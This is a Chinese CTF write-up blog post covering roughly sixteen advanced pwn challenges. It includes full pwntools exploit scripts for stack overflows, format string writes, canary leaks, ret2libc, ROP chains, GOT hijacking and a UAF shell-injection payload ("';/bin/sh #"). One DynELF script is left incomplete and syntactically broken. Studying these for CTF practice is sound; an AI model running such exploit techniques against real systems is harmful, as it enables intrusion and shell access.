主頁 > 前端設計 > 攻防世界 Pwn 進階 第一頁

攻防世界 Pwn 進階 第一頁

2020-10-20 15:18:23 前端設計

00

要把它跟之前新手區的放在一起總結,先稍稍回顧一下新手區,
攻防世界 Pwn 新手
1、堆疊溢位,從簡單到難,開始有后門函式,到需要自己寫函式引數,到最后的ret2libc,
常見漏洞點有read()函式、gets()函式、strcat()函式等等,
堆疊溢位在進階區還涉及到了很多,包括一些保護機制的繞過,
2、字串格式化漏洞
在這里插入圖片描述字串格式化漏洞在新手區只是對記憶體的讀取,修改,
在進階區還要涉及很多高級應用,下面再說,

3、整數溢位
在這里插入圖片描述

4、指標函式強制轉換漏洞
在這里插入圖片描述

5、亂數問題

01 monkey

單獨將它放到這里就是它跟別的都不大一樣……
整了個js庫進來 用了js庫就能執行js函式了
用了那個js庫以后就能執行js函式
長這樣
os.system(‘cat flag’)

發現扔IDA 好像沒啥用
直接扔虛擬機運行

from pwn import *
 p = remote('111.198.29.45', 36913)
 elf = ELF(./js)
p.recv()
p.send('os.system(\'cat flag\')')  #這個地方要注意 \'是反義符  就是輸入'  還有js函式左右兩邊的''
#是類似與Sql注入那樣把前面的輸入閉合,
p.interactive()

02 dice_game

亂數
參考新手區那個亂數題就好了

#-*- coding:utf-8 -*-
from pwn import*
from ctypes import*
context.log_level="debug"
r=remote("220.249.52.133",42528)
lib = cdll.LoadLibrary('libc.so.6')
r.recvuntil("name:")#這里沒有'\n',所以讀一行就有問題 不能recvline()         
payload='A' * 0x40 + p64(0)
payload=payload.ljust(0x50,"C")
r.sendline(payload)
for i in range(50):
    r.sendlineafter("point(1~6): ",str(lib.rand() % 6 + 1))
r.interactive()

03 反應釜

就是最簡單的堆疊溢位
sprintf
C 庫函式 int sprintf(char *str, const char *format, …) 發送格式化輸出到 str 所指向的字串,
str – 這是指向一個字符陣列的指標,該陣列存盤了 C 字串,
format – 這是字串,包含了要被寫入到字串 str 的文本,
它可以包含嵌入的 format 標簽,format 標簽可被隨后的附加引數中指定的值替換,并按需求進行格式化,
這題剛開始看那代碼確實看了一會……研究半天
然后跑一下 發現就那么回事
然后發現就最最最最最簡單的一個堆疊溢位……
就個這……

from pwn import*
r=remote("220.249.52.133",48469)
payload = 'A' *  0x208 + p64(0x4005f6)
r.sendlineafter(">",payload)
r.interactive()

04 stack2

陣列索引時沒有檢查邊界
要注意的點不大一樣,這個題里面注意的是全域變數,下一個題注意的是函式指標強制轉換函式,

在這里插入圖片描述

from pwn import*
context.log_level = "debug"
r=remote("220.249.52.133",38633)
r.recvuntil("How many numbers you have:")
r.sendline("1")
r.recvuntil("Give me your numbers")
r.sendline("1")
r.recvuntil("5. exit")
v3address = 0x84
#這個地方的ret比之前的多加了個0x10    因為是主函式而且有全域變數
#下面那個就是也是主函式,但是沒有全域變數,他就還是老地方回傳函式
def writea(number,address):
    r.sendline('3')
    r.recvuntil("which number to change:")
    r.sendline(str(address))
    r.recvuntil("new number:")
    r.sendline(str(number))
    r.recvuntil("5. exit")
writea(0x50,v3address)
writea(0x84,v3address + 1)
writea(0x04,v3address + 2)
writea(0x08,v3address + 3)
v3address += 8
writea(0x87,v3address)     #這地方就是比較坑那地方
writea(0x89,v3address + 1)
writea(0x04,v3address + 2)
writea(0x08,v3address + 3)
r.sendline('5')
r.interactive()

來一個網上對坑分析比較好的鏈接

05 forgot

函式指標強制轉換 跟堆疊溢位
在這里插入圖片描述

閱讀程式,發現最下面有個函式指標強制轉換漏洞,想辦法利用,發現change選項可以通過陣列的形式修改v3資料,
我感覺像上面那個題的型別題,

from pwn import *

# io=process('./forgot')
io=remote('111.198.29.45',41178)

io.sendline('fuck')
addr=0x80486CC
payload='\x47'*(0x20)+p32(addr)
io.sendline(payload)

io.interactive()

06 warmup

啥也沒給,就是fuzz
fuzz 也就是盲打

from pwn import* 
#context.log_level='debug'
addr=0x40060d
def fuzz(r,num,flag):
	payload='a'*num
	if flag==1:
		payload+=p32(addr)
	if flag==2:
		payload+=p64(addr)
	r.recvuntil(">")
	r.sendline(payload)
def main():
	for i in range(1000):
		print(i)
		for j in range(3):
			try:
				r=remote("111.198.29.45",46588)
				fuzz(r,i,j)
				text=r.recv()
				print('text.len='+str(len(text))+'text='+text)
				print('num='+str(i)+'flag='+str(j))
				r.interactive()
			except:
				r.close()
if__name__=='__main__':
	main()

寫爆破程式的時候,你如果最后用p.interactive() 程式就會卡住,Ctrl+c才能繼續回圈;建議用p.sendline(‘cat flag’)之類的,然后判斷互動的結果有沒有你想要的值,如果有就interactive(),否則繼續,

07 實時資料監測

就是一個最簡單的字串格式化漏洞 就是數有點大,跑腳本的時候不知道為啥會跑好一會

但是我看那里面那個key的值我就覺得好像沒那么簡單
數太大 %$n 這樣輸入太長了鴨
但還是覺得試試
然后就這樣寫

from pwn import*
context.log_level="debug"
r=remote("220.249.52.133",33732)
payload=p32(0x0804a048) + "%35795742x%$12n"
r.send(payload)
r.interactive()

網上的wp有個這樣的

#coding = utf-8
from pwn import*
#context.log_level="debug"
r=remote("220.249.52.133",33732)
payload = "%35795746x" + "%16$n\x00" + p32(0x804a048)
#payload的構造上有一些不一樣
r.send(payload)
r.interactive()

來一個萬能模板

key_bss_addr =    
key =    
main_addr = 
offset = 
payload = fmtstr_payload(offset,{key_bss_addr:key})

在這個題里

p = remote()
key == 0x084a048
offset = 12
value = 35795746
payload = fmtstr32(offset,{key:value})
r.sendline(payload)

但是人家正宗的wp用的是字串盲打
下面有兩個鏈接 參考一下

鏈接1
鏈接2

這兩篇文章都太強了,讓我對字串格式化漏洞以及它的盲打有了一個全新的認識,碼住碼住,

08 Mary_Morton

字串格式化漏洞 堆疊溢位漏洞 還有canary繞過
這個題 繞過是主角
canary繞過大概思路就是先通過格式化字串函式講canary泄露出來
然后堆疊溢位的時候記得把canary給它寫上
就行
在這里插入圖片描述
一般程式里面有canary保護的話就有個這玩意,

在這里插入圖片描述
上面這個是堆疊溢位

在這里插入圖片描述

上面這個是格式化字串漏洞

#coding=utf-8
from pwn import *
 
context.log_level = 'debug'
p = remote('111.198.29.45',56161)
 
p.recvuntil("Exit the battle ")
p.sendline(str(2))#先進入格式化函式泄漏cannary
p.sendline("%23$p")#泄漏cannary  前面那個$別忘了  就是泄露指標偏移23處的資料
p.recvuntil("0x")
canary = int(p.recv(16),16)#接收16個位元組  這地方好好看一下
 
p.recvuntil("Exit the battle ")
payload = "a"*0x88 + p64(canary) + 0x8*"a" + p64(0x04008DA)
p.sendline(str(1))
p.sendline(payload)
p.interactive()

e.g.下面三個題先看這個文章

點這里
太牛逼了……
都不用我寫啥了
我再把網上的一些wp借鑒一下
再寫一些自己的看法
這三個題都應該有兩種方向吧……
libcsearcher 跟 dynelf
理論上能用system 也能用 execve
上面對前者進行了介紹,這篇文章主要是對后者的說明,

其實他倆是一樣的,都是因為或者沒有給出libc庫,或者給出的庫與服務器的庫版本不一致,這時候可能庫中的資料偏移不一樣導致出問題,
libcsearcher是用python的類別庫代替你要使用的libc庫檔案,還是通過計算基址偏移等獲得相關函式地址,
DynELF通俗的講就是通程序式漏洞泄露出任意地址內容,結合ELF檔案的結構特征獲取對應版本檔案并計算對比出目標符號在記憶體中的地址,

dynelf主要是需要可以回圈的地方,一般不都是……有個子函式,函式里面有個read函式,能夠不停回圈構成堆疊溢位,

關于Dynelf的原理探究有一篇很好的文章可以看一下
Dynelf原理

09 pwn1

canary繞過 ret2libc 對puts函式的利用
就是mary跟level3的一個結合題再加一點變化,更上一個層次的話就是直接連libc庫也沒有,
這個格式化字串漏洞是利用的puts

這里首先要插入一個知識點
32位與64位傳參機制不一樣,所以在寫rop鏈時也需要注意,32位傳參時引數直接就在回傳地址前面,而64位傳參是遵循的規則是:當引數少于7個時, 引數從左到右放入暫存器: rdi, rsi, rdx, rcx, r8, r9,所以就需要我們先在我們的程式里找到對應的gadget(就是小代碼的意思),找到合適的pop指令,先執行pop函式,將引數壓入相應的暫存器,在進行函式的呼叫,
有兩種方法去找所需要的gadget,
第一種是在IDA中找相應的pop代碼可以直接Alt+t查找pop,進行簡單的篩查,確定合適pop指令,

在確定pop指令的時候,經常不會直接找到pop rdi這種指令一般找到的都是這個
在這里插入圖片描述
一定要找這種最后帶一個retn回傳陳述句的,不然在執行ROP鏈時執行pop指令后回不到你的ROP鏈,
然后需要用到逆向中的技巧,在這里調整它的反匯編代碼,具體方法就是選中指令,按d轉換成資料,再找到合適位置按c轉換成指令,尋找我們要的pop指令,
在這里插入圖片描述
這就是效果圖,這道題就是要pop rdi這個指令,他的地址就是0x400A93,
第二種是用我們的使用小工具,ROPgadget,
關于下載安裝配置環境啥的,我還專門寫了個博客,
ROPgadget 安裝 錯誤處理 與使用

在這里插入圖片描述這是效果圖,

e.g. 每次400a70 那里都會有想要的pop 跟 move 我也不知道為啥…… 就離譜……

e.gg. 這里在泄露libc里面的地址可以用之前的常規方法,先泄露system 跟 shell,也可以用這里的用這個新的小東西,one_gadget ,

e.ggg. 這個題里面用puts輸出也非常值得被注意

先是用one_gadget的
有了ROPgadget的下載安裝使用,就再來一個one_gadget,
one_gadget 下載安裝與使用

它就是用來查一下元件里面的execve函式的,就這,就省的你再去找system函式,還要去找‘/bin/sh’,
還是挺好用的,

然后下面是查到的
在這里插入圖片描述
wp

from pwn import *
elf=ELF('./babystack')
libc=ELF('./libc-2.23.so')
p=remote('220.249.52.133',39455)
prdi_addr=0x0400a93
main_addr=0x0400908
one_gadget_addr=0x45216
put_plt=elf.plt['puts']
put_got=elf.got['puts']
p.sendlineafter('>> ','1')
p.sendline('a'*0x88)   
#太坑了吧  這里因為是puts函式  必須用sendline  因為它讀\n才停
p.sendlineafter('>> ','2')
p.recvuntil('a'*0x88+'\n')
canary=u64(p.recv(7).rjust(8,'\x00'))   
#u64跟p64是反的  這點要注意了
print hex(canary)
p.sendlineafter('>> ','1')
payload='a'*0x88+p64(canary)+'a'*8+p64(prdi_addr)+p64(put_got)+p64(put_plt)+p64(main_addr)
#一定要在后面回傳主函式  
p.sendline(payload)
p.sendlineafter('>> ','3')
put_addr=u64(p.recv(8).ljust(8,'\x00'))
#recv(8)不是接受8個位元組 是最多8個,可能是6個
#所以后面要是不補全,u64函式就可能報錯,
#這里的ljust跟上面的rjust也不一樣,有講究
#上面那個是canary默認最后一個位元組是00而且被\n覆寫了,就右對齊
#下面這個是它讀到00停了 ,就左對齊,
print hex(put_addr)
libc_base=put_addr-libc.symbols['puts']
flag=libc_base+one_gadget_addr
p.sendlineafter('>> ','1')
payload1='a'*0x88+p64(canary)+'a'*8+p64(flag)
p.sendline(payload1)
p.sendlineafter('>> ','3')
p.interactive()

以后在虛擬機里跑exp要多跑幾次,我發現它有時候對的exp先后兩次跑結果不一樣,要多嘗試幾次,

首先是關于one_gadget的使用,它的功能是尋找已知libc庫中的execve("/bin/sh")陳述句,首先要求libc庫是已知的,如果是遠程服務器,則execve函式跟system沒啥區別,所以就它給了你libc庫,用一用one_gadget就非常方便,

然后還是寫了一下傳統的沒有用one_gadget的
現學現用
在這里插入圖片描述
嘿嘿嘿,ROPgadget確實好用

#from pwn import*
context.log_level = "debug"
r = remote("220.249.52.133",39455)
elf = ELF('./babystack')
libc = ELF('./libc-2.23.so')
pop_addr = 0x400a93
main_addr = 0x400908
system_addr = libc.symbols['system']
bin_addr = 0x18cd17
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

r.recvuntil(">> ")
r.send('1')
r.sendline('a' * 0x88) 
r.recvuntil(">> ")
r.send("2")
r.recvuntil('a' * 0x88 + '\n')
canary = u64(r.recv(7).rjust(8,'\x00'))
print(hex(canary))
payload1 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(pop_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) 
r.recvuntil(">> ")
r.send("1")
r.send(payload1)
r.recvuntil(">> ")
r.send("3")
puts_addr = u64(r.recv(8).ljust(8,'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
r.recvuntil(">> ")
payload2 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(pop_addr) + p64(bin_addr + libc_base) + p64(system_addr + libc_base)
print(p64(pop_addr) + p64(bin_addr + libc_base) + p64(system_addr + libc_base))
r.send("1")
r.send(payload2)
r.recvuntil(">> ")
r.send("3")
r.interactive()

寫好了,可惡,但是過不了,開始查資料……

在這里插入圖片描述
在這里插入圖片描述
我吐了……libc是假的?用libcsearcher?
好,試一試,
先來看看什么是libcsearcher
libcsearcher 安裝 錯誤處理 與使用

然后相應wp

from pwn import*
from LibcSearcher import*

#context.log_level = "debug"

r = remote("220.249.52.133",38049)
elf = ELF('./babystack')
pop_addr = 0x400a93
main_addr = 0x400908
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
r.recvuntil(">> ")
r.send('1')
r.sendline('a' * 0x88) 
r.recvuntil(">> ")
r.send("2")
r.recvuntil('a' * 0x88 + '\n')
canary = u64(r.recv(7).rjust(8,'\x00'))
payload1 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(pop_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr) 
r.recvuntil(">> ")
r.send("1")
r.send(payload1)
r.recvuntil(">> ")
r.send("3")
puts_addr = u64(r.recv(8).ljust(8,'\x00'))

#下面是libcsearcher的重點地方
libc = LibcSearcher('puts',puts_addr)
#這個是根據puts函式地址來定位基質
libc_base = puts_addr - libc.dump('puts')
system_addr = libc.dump("system")
bin_addr = libc.dump("str_bin_sh")

r.recvuntil(">> ")
payload2 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(pop_addr) + p64(bin_addr + libc_base) + p64(system_addr + libc_base)
print(p64(pop_addr) + p64(bin_addr + libc_base) + p64(system_addr + libc_base))
r.send("1")
r.send(payload2)
r.recvuntil(">> ")
r.send("3")
r.interactive()

正當我想結束這道題的時候,問題又來了……那講道理是不是也能用Dynelf寫一下呢……
嘗試過后,

from pwn import*
r = remote("220.249.52.133",33391)
elf = ELF("./babystack")
prdi_addr = 0x0400a93
main_addr = 0x0400908
start_addr = 0x400720
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
def leak(addrss):
    payload1 = 'a' * 0x88
    r.sendlineafter(">> ","1")
    r.sendline(payload1)
    r.sendlineafter(">> ","2")
    r.recvuntil('a' * 0x88 + '\n')
    canary = r.recv(7).rjust(8,'\x00')
    payload = 'a' * 0x88 + canary + 'a' * 8 + p64(prdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
    r.sendlineafter(">> ","1")
    r.sendline(payload)
    r.sendlineafter(">> ","3")
    data = u64(r.recv(8).ljust(8,'\x00'))
    return data
dynelf = DynELF(leak,elf = ELF("./babystack"))
system_addr = dynelf.lookup("__libc_system", "libc")
r.recvuntil(">> ")
r.send('1')
r.sendline('a' * 0x88) 
r.recvuntil(">> ")
r.send("2")
r.recvuntil('a' * 0x88 + '\n')
canary = u64(r.recv(7).rjust(8,'\x00'))
r.sendlineafter(">> ","1")
r.send(payload1)
payload1 = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(system_addr) + 
r.interactive()

npnpnpnpnpnp

10 pwn200

這是Dynelf,抄過來是想寫一點想要的注釋,

from pwn import *
import binascii
p = process("./xdctf-pwn200")
elf = ELF("./xdctf-pwn200")
writeplt = elf.symbols['write']
writegot = elf.got['write']
readplt = elf.symbols['read']
readgot = elf.got['read']
vulnaddress =  0x08048484 
startaddress = 0x080483d0      #呼叫start函式,用以恢復堆疊
bssaddress =   0x0804a020    #用來寫入“/bin/sh”字串
def leak(address):
  payload = "A" * 112
  payload += p32(writeplt)
  payload += p32(vulnaddress)  
  #這個函式是read函式在的地方,為的是讓它一直回傳這里讀入資料構成堆疊溢位然后泄露地址,
  payload += p32(1)
  payload += p32(address)
  payload += p32(4)
  p.send(payload)
  data = p.recv(4)
  return data
print p.recvline()
dynelf = DynELF(leak, elf=ELF("./lctf-pwn200"))
systemAddress = dynelf.lookup("__libc_system", "libc") 
print "systemAddress:", hex(systemAddress)
#呼叫_start函式,恢復堆疊
#不恢復行不行?
#大佬是這么講的……
#在資訊泄露程序中,由于回圈制造溢位,故可能會導致堆疊結構發生不可預料的變化,可以嘗試呼叫目標二進制程式的_start函式來重新開始程式以恢復堆疊.
#看了很多dynelf  每一個都有恢復堆疊這個程序,雖然還是不是很清楚為啥……就先這吧……
payload1 = "A" * 112
payload1 += p32(startaddress) 
p.send(payload1)
print p.recv()
ppprAddress = 0x0804856c  #獲取到的連續3次pop操作的gadget的地址 
payload1 = "A" * 112
payload1 += p32(readplt)
payload1 += p32(ppprAddress)
payload1 += p32(0)
payload1 += p32(bssaddress)
payload1 += p32(8)
payload1 += p32(systemAddress) + p32(vulnaddress) + p32(bssaddress)
p.send(payload1)
p.send('/bin/sh')
p.interactive()

下面是自己寫的LibcSearcher

from pwn import*
from LibcSearcher import*
context.log_level = "debug"
r = remote("220.249.52.133",42633)
elf = ELF("./pwn200")
write_plt = elf.plt['write']
write_got = elf.got['write']
vuln_addr = 0x080483d0
bss_addr = 0x0804a020
r.recvline()
payload = 'a' * 112
payload += p32(write_plt)
payload += p32(vuln_addr)
payload += p32(1)
payload += p32(write_got)
payload += p32(4)
r.send(payload)
write_addr = u32(r.recv())
print(hex(write_addr))
libc = LibcSearcher("write",write_addr)
libc_base = write_addr - libc.dump("write")
print(hex(libc_base))
system_addr = libc_base + libc.dump("system")
print(hex(system_addr))
bin_addr = libc_base + libc.dump("str_bin_addr")
print(hex(bin_addr))
payload2 = 'a' * 112 + p32(system_addr) + p32(vuln_addr) + p32(bin_addr)
r.send(payload2)
r.interactive()

這個題沒有libc庫,Dynelf的話就得要求寫shellcode,LibcSearcher的話就用不著,

11 pwn100

這是Dynelf
要記得64位引數傳遞順序是rdi, rsi, rdx, rcx, r8, r9

from pwn import *
import binascii
p = process("./pwn100")
elf = ELF("./pwn100")
readplt = elf.symbols['read']
readgot = elf.got['read']
putsplt = elf.symbols['puts']
putsgot = elf.got['puts']
mainaddress =   0x4006b8
startaddress =   0x400550
poprdi =  0x400763
pop6address  =  0x40075a   
movcalladdress = 0x400740   
#這里pop一個可以,但是pop6個的話指令不在一起,需要這個mov這里的函式幫忙,兩個地方一起實作修改暫存器中的值為引數,
waddress =  0x601000
def leak(address):
  count = 0
  data = ''
  payload = "A" * 64 + "A" * 8
  payload += p64(poprdi) + p64(address)
  payload += p64(putsplt)
  payload += p64(startaddress)
  payload = payload.ljust(200, "B")
  p.send(payload)
  print p.recvuntil('bye~n')
  up = ""
  while True:
    c = p.recv(numb=1, timeout=0.5)
    count += 1
    if up == 'n' and c == "":
      data = data[:-1]
      data += "x00"
      break
    else:
      data += c
    up = c
  data = data[:4]
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data
d = DynELF(leak, elf=ELF('./pwn100'))
systemAddress = d.lookup('__libc_system', 'libc')
print "systemAddress:", hex(systemAddress)
print "-----------write /bin/sh to bss--------------"
payload1 = "A" * 64 + "A" * 8
payload1 += p64(pop6address) + p64(0) + p64(1) + p64(readgot) + p64(8) + p64(waddress) + p64(0)
payload1 += p64(movcalladdress)
payload1 += 'x00'*56  #這里加的56個這東西
payload1 += p64(startaddress)
payload1 =  payload1.ljust(200, "B")
p.send(payload1)
print p.recvuntil('bye~n')
p.send("/bin/shx00")
print "-----------get shell--------------"
payload2 = "A" * 64 + "A" * 8
payload2 += p64(poprdi) + p64(waddress)
payload2 += p64(systemAddress)
payload2 += p64(startaddress)
payload2 =  payload2.ljust(200, "B")
#這里補充道200
p.send(payload2)
p.interactive()

這個題感覺就LibcSearcher更簡單一點了,畢竟只要泄露一下puts的地址就可以了,所以我突然感覺……Dynelf好處是不是不是那么的明顯?

12 welpwn

LibcSearcher

#coding:utf8  
from pwn import *  
from LibcSearcher import *  
context.log_level  = 'debug'  
sh = process('./pwnh13')  
#sh = remote('111.198.29.45',51867)  
elf = ELF('./pwnh13')  
write_got = elf.got['write']  
puts_plt = elf.plt['puts']  
#此處有4條pop指令,用于跳過24位元組  
pop_24 = 0x40089C  
#pop rdi的地址,用來傳參,具體看x64的傳參方式  
pop_rdi = 0x4008A3  
sh.recvuntil('Welcome to RCTF\n')  
main_addr = 0x4007CD  
#本題的溢位點在echo函式里,然而,當遇到0,就停止了資料的復制,因此我們需要pop_24來跳過24個位元組  
payload = 'a'*0x18 + p64(pop_24) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(main_addr)  
sh.send(payload)  
sh.recvuntil('\x40')  
#泄露write地址  
write_addr = u64(sh.recv(6).ljust(8,'\x00'))  
libc = LibcSearcher('write',write_addr)  
#獲取libc加載地址  
libc_base = write_addr - libc.dump('write')  
#獲取system地址  
system_addr = libc_base + libc.dump('system')  
#獲取/bin/sh地址  
binsh_addr = libc_base + libc.dump('str_bin_sh')  
sh.recvuntil('\n')  
payload = 'a'*0x18 + p64(pop_24) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)  
sh.send(payload)  
sh.interactive()  

下面這個是Dynelf

#!/usr/bin/env python
from pwn import *
p=remote('111.198.29.45',41724)
elf=ELF('./welpwn')
write_plt=elf.symbols['write']
read_got=elf.got['read']
write_got=elf.got['write']
read_plt=elf.symbols['read']
start_addr=0x0400630
pop4_addr=0x040089c
pop6_addr=0x040089a
mov_addr=0x0400880
def leak(address):
    print p.recv(1024)
    payload1='A'*24+p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(address)+p64(1)+p64(mov_addr)+'A'*56+p64(start_addr)
    payload1=payload1.ljust(1024,'C')
    p.send(payload1)
    data=p.recv(8)
    #print "%x => %s" % (address, (data or '').encode('hex'))
    return data
d=DynELF(leak,elf=ELF('./welpwn'))
sys_addr=d.lookup('system','libc')
print hex(sys_addr)
bss_addr=elf.bss()
prdi_addr=0x04008a3
print p.recv(1024)
payload2='A'*24+p64(pop4_addr)+p64(pop6_addr)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(bss_addr)+p64(0)+p64(mov_addr)+'A'*56+p64(prdi_addr)+p64(bss_addr)+p64(sys_addr)+'a'*8
payload2=payload2.ljust(1024,'C')
p.send(payload2)
p.sendline('/bin/sh\x00')
p.interactive()

13 Recho

漏洞點:申請字串空間小于允許讀入的字串個數導致緩沖區溢位

三個考察點

ROP鏈構造
Got表劫持
pwntools的shutdown功能

一些基礎知識

兩個函式
atoi()
C 庫函式 int atoi(const char *str) 把引數 str 所指向的字串轉換為一個整數(型別為 int 型),
read()函式回傳值
大概的意思就是read函式從檔案描述符fd中讀取位元組到count大小的buf中,如果成功讀取的話,回傳讀到的位元組數大小,否則回傳-1.

三個知識
函式引數傳遞順序
當引數少于7個時, 引數從左到右放入暫存器: rdi, rsi, rdx, rcx, r8, r9
shutdown(‘send’)跳出函式無線回圈
rax暫存器在構造exp中,可用于劫持got表,呼叫系統序號函式,

在這里插入圖片描述
沒有檢查陣列長度,導致溢位了,

我不可能講的比這個再好了,

我小小的補充一點東西,那里面所有尋找gadget都是通過IDA找的,我想在這里試一下用ROPgadget,

在這里插入圖片描述

在這里插入圖片描述
ROPgadget還是頂啊,

想嘗試一下用其他暫存器,但是找半天發現,好像確實就rdi能實作,

下面這是正版WP

from pwn import *
# io = process('./Recho')
io = remote('111.198.29.45',41375)
elf = ELF('./Recho')
context.log_level = 'debug'
pop_rdi = 0x4008a3
pop_rdx = 0x4006fe
pop_rax = 0x4006fc
pop_rsi_r15 = 0x4008a1
rdi_add = 0x40070d
flag_addr = elf.symbols['flag'] 
read_got = elf.got['read']

# bss = 0x601090
bss = elf.bss()  #兩者都可以
#這個地方要注意  這玩意還是很實用的
read_plt = elf.plt['read']
write_plt = elf.plt['write']
alarm_got = elf.got['alarm']
alarm_plt = elf.plt['alarm']
print 'flag: ',hex(flag_addr)


payload = 'A'*0x30  #覆寫buf[40]; // [rsp+10h] [rbp-30h] 
payload +='A'*0x08 #覆寫 rbp
#alarm GOT表劫持到syscall位置
payload += p64(pop_rax)+p64(0x5)
payload += p64(pop_rdi)+p64(alarm_got)
payload += p64(rdi_add)  
# -------fd=open('flag',READONLY)-----

payload += p64(pop_rdi)+p64(flag_addr)  #rdi='flag

payload += p64(pop_rsi_r15)+p64(0)+p64(0) #rsi=0(READONLY)
payload += p64(pop_rdx)+p64(0) # rdx = 0
payload += p64(pop_rax)+p64(0x2) # rax=2,open的呼叫號為2
# 執行alarm完成GOT表劫持,syscall的傳參順序是rdi,rsi,rdx,r10,r9,r8

payload += p64(alarm_plt) 
# 將flag傳回的值寫入到bss段 read(fd,stdin_buffer,100)
payload += p64(pop_rdi)+p64(3) #open()打開檔案回傳的檔案描述符一般從3開始,系統環境不一樣也可能不是3,依次順序增加
payload += p64(pop_rdx)+p64(0x2d) #指定長度
payload += p64(pop_rsi_r15)+p64(bss)+p64(0) # rsi =寫入的地址,用于存取open結果
payload += p64(read_plt)
#輸出flag值,write(1,bss,0x40),也可以用print函式
payload += p64(pop_rsi_r15)+p64(bss)+p64(0)
payload += p64(pop_rdx)+p64(0x40)
payload += p64(pop_rdi)+p64(0x01)
payload += p64(write_plt)
# 用printf 函式時,要注意bss段的可寫性,bss此時應改為0x601090或者0x601070
#payload+=p64(pop_rdi)+p64(bss)+p64(printf_plt)  

io.sendline(str(0x200))
# log.info('the length of payload is:',format(hex(len(payload))))
print 'the length of payload is:',format(hex(len(payload)))
payload = payload.ljust(0x200,'\x00')
io.send(payload)
io.recv()
io.shutdown('send')
io.interactive()

14 greeting-150

字串格式化漏洞 GOT表劫持 覆寫.fini_array
說點理解
字串格式化漏洞從剛開始的任意寫,到了后面任意讀,讀出想要的各種地址,但是有個必須條件,就是程式能夠回圈讀,只有這樣才能讀的多,才能將漏洞利用起來,
所以如何利用這個漏洞將程式設計的可以回圈,是這個題的重點,
因為沒有后門函式,也沒有堆疊溢位啥的,就只能劫持GOT表來,
這里是三篇非常棒的參考文章,
1 wp

2 wp

3 原理

這個題我研究半天的地方在它為啥要把地址拆成兩半兩個位元組兩個位元組的進行傳值,

from pwn import *
context.log_level='debug'
#io=remote("111.198.29.45",47611)
io=process("./greeting-150")
elf=ELF("./greeting-150")
strlen_got=elf.got['strlen']
fini_got=0x08049934
start_addr=0x80484f0
system_plt = 0x8048490 
payload="aa"   #這對齊別忘了
payload+=p32(strlen_got+2)
payload+=p32(fini_got+2)
payload+=p32(strlen_got)
payload+=p32(fini_got)
payload+="%2016c%12$hn%13$hn" 
#但是這個就好特殊啊……就是要一直數到這行完了   /黑人問號   
#先記著吧……挺特殊的
#難道是因為一次輸兩個??
payload+="%31884c%14$hn" #這里就是直接加前面的2052
payload+="%96c%15$hn"  #這里也是直接加前面的31884
io.sendline(payload)
io.sendline("/bin/sh")
io.interactive()

printf函式實際上只是輸出到了標準輸出緩沖佇列上,并沒有實實在在的列印到螢屏上,標準輸出是行緩沖機制,也就是說,遇到\n,就會重繪緩沖區,輸出到螢屏上,

說到分開的話就是如果%$n前面有多少位元組才往目標地址寫多少,所以你寫個啥%1242131x它是需要申請這么多緩沖空間的,空間多容易出事,也浪費記憶體,降低效率,

15 time_formatter

下面開始了堆的漏洞
首先是uaf
這個題就是uaf的第一個題
第一個函式跟進里面有個strdup()函式,
strdup()說明:回傳指向被復制的字串的指標,所需空間由malloc()分配且可以由free()釋放,
這里就是通過malloc()給ptr分配空間

C 庫函式 size_t strcspn(const char *str1, const char *str2) 檢索字串 str1 開頭連續有幾個字符都不含字串 str2 中的字符,

/bin/date -d @%d +'%s'
這看起來像一個命令注入,但由于時間戳為%d,format字串經過一系列過濾,我們不能在那里注入什么,
但是時區設定可以沒有限制的呼叫
可以看到3個功能都是通過strdup分配的空間,而且程式在輸入5退出時并沒有清除指標,這就有了一個UAF
如果我們能通過UAF使得set_time_zone分配得到的是set_format釋放掉的記憶體,那么就能成功繞過對字串的過濾
先呼叫set_format,這時我們輸入的字串需要是合法的,這樣才能將指標拷貝到bss上的全域變數上呼叫exit,制造懸掛指標
最后再設定時區,復用chunk(由于format指標是先free的,所以只用設定一次時區)

關于4選項里面的snprintf函式以及時間格式化找了一點資料供參考,

在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
這是網上的兩種繞過方式,
set_zone(’%Y’;cat flag’’)
p.sendline("’;/bin/sh #")

這是要繞過,這么繞需要知道一個知識點
在linuxshell中,假如有如下陳述句,這就是shell注入方面echo ‘’;ls;cat 1.txt;/bin/sh;’’則ls、cat 1.txt、/bin/sh這三個命令會依次執行,這也就是本題突破的關鍵

格式化字串后的command就是/bin/date -d @0 + ‘’;/bin/sh’’

有兩個小坑

在這里插入圖片描述

寫好exp以后發現程序有點問題,發現多了兩句話,如上圖,IDA里面沒有直接顯示這兩句話,開始找,

在這里插入圖片描述
在這里插入圖片描述
發現用了這種手法將其寫出來,所以IDA 里面沒有直接的提示,

在這里插入圖片描述
下面還有一個類似的

這就提示我們以后還是把程式試一試,少走這坑,

下面是完整exp

#-*-coding: utf-8-*-
from pwn import *

p = remote('220.249.52.133',55829)
#p = process('./time_formatter')

print p.recvuntil('> ')
p.sendline('1')
print p.recvuntil('Format: ')
p.sendline('%F')

print p.recvuntil('> ')
p.sendline('5')
print p.recvuntil('Are you sure you want to exit (y/N)? ')
p.sendline('N')

print p.recvuntil('> ')
p.sendline('3')
print p.recvuntil('Time zone: ')
p.sendline("';/bin/sh #")
print p.recvuntil('> ')
p.sendline('4')
p.interactive()

16 note-servive2

陣列下標越界 GOT表劫持 堆shellcode
漏洞點:沒有檢查陣列越界

在這里插入圖片描述
分析一下,輸入個序號,然后有個陣列,然后向那個陣列里對應的序號地方存資訊,然后又沒有檢查陣列,就漏洞點出來了,

既然陣列下標可以越界,那么我們就可以把任意的地方的8位元組資料寫成新建的堆的地址指標
